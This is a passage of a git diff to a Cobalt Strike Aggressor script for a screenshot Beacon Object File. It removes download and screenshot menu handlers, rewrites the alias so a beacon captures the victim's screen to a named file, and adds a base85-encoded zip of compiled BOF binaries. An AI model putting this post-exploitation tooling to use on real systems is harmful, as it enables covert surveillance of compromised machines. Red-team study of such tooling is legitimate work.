charAt($data, 1) eq "M") { - display_image($screenshot); - } -} - -popup_clear("downloads"); -popup downloads { - # do nothing if nothing is selected - if (size($1) == 0) { - return; - } - - item "Interact" { - openOrActivate($1[0]["bid"]); - } - - menu "&Color" { - local('$ids'); - $ids = map({ return $1["id"]; }, $1); - insert_component(colorPanel("accents", $ids)); - } - - item "Render &BMP" { - local('$download $lpath $name $count'); - foreach $count => $download ($1) { - ($lpath, $name) = values($download, @("lpath", "name")); - - sync_download($lpath, script_resource("file $+ .$count"), lambda({ - $handle = openf($1); - $data = readb($handle, -1); - closef($handle); - #println(charAt($data, 0)); - #println(charAt($data, 1)); - if (charAt($data, 0) eq "B" && charAt($data, 1) eq "M") { - display_downloaded($data, $1); - } else { - show_error("File is not a Bitmap image"); - } - deleteFile($1); - }, \$name)); - } - } -} - -popup_clear("screenshots"); -popup screenshots { - item "&Interact" { - openOrActivate($1["bid"]); - } - - menu "&Color" { - insert_component(colorPanel("accents", $1["id"])); - } - - item "&Save" { - prompt_file_save($1["id"] . ".jpg", lambda({ - local('$handle'); - $handle = openf("> $+ $1"); - writeb($handle, $data); - closef($handle); - - show_message("Screenshot saved."); - }, $data => $1["object"]["data"])); - } - - separator(); - - item "&Remove" { - redactobject($1["id"]); - } - - item "Render &BMP" { - $data = $1["object"]['data']; - - # Check the magic header of the data to see if it's a BMP - if (charAt($data, 0) eq "B" && charAt($data, 1) eq "M") { - display_image($1["object"]); - } else { - show_error("Image is not a Bitmap. It should render in Screenshots tab."); - } - } -} - #Register command beacon_command_register( "screenshot_bof", @@ -169,24 +6,23 @@ beacon_command_register( ); alias screenshot_bof { - local('$bid $barch $handle $data $args $target_pid'); - $bid = $1; + local('$barch $handle $data $args $target_pid'); + if (size(@_) != 2) + { + berror($1, "Please specify a filename. e.g. screenshot_bof screen.bmp"); + return; + } # figure out the arch of this session - $barch = barch($bid); + $barch = barch($1); # read in the right BOF file $handle = openf(script_resource("ScreenshotBOF. $+ $barch $+ .obj")); $data = readb($handle, -1); closef($handle); - # figure out if the profile chooses to chunk the post or not (getOnlyProfile) - $profile = data_query("metadata")["c2profile"]; - $getOnlyProfile = [$profile shouldChunkPosts]; - println($getOnlyProfile); - - $args = bof_pack($bid, "i", $getOnlyProfile); - + $args = bof_pack($1, "z",$2); + # announce what we're doing - btask($bid, "Running screenshot BOF by (@codex_tf2)", "T1113"); + btask($1, "Running screenshot BOF by (@codex_tf2)"); # execute it. - beacon_inline_execute($bid, $data, "go", $args); + beacon_inline_execute($1, $data, "go", $args); } diff --git a/bin/screenshotBOF.zip b/bin/screenshotBOF.zip new file mode 100644 index 0000000000000000000000000000000000000000..47aff69e1af7034d5bb8998cd90c48bda0889e6a GIT binary patch literal 6093 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 VPlb;0=MSSjK8cUt%|P~N_Yc9W9xMO= literal 0 HcmV?d00001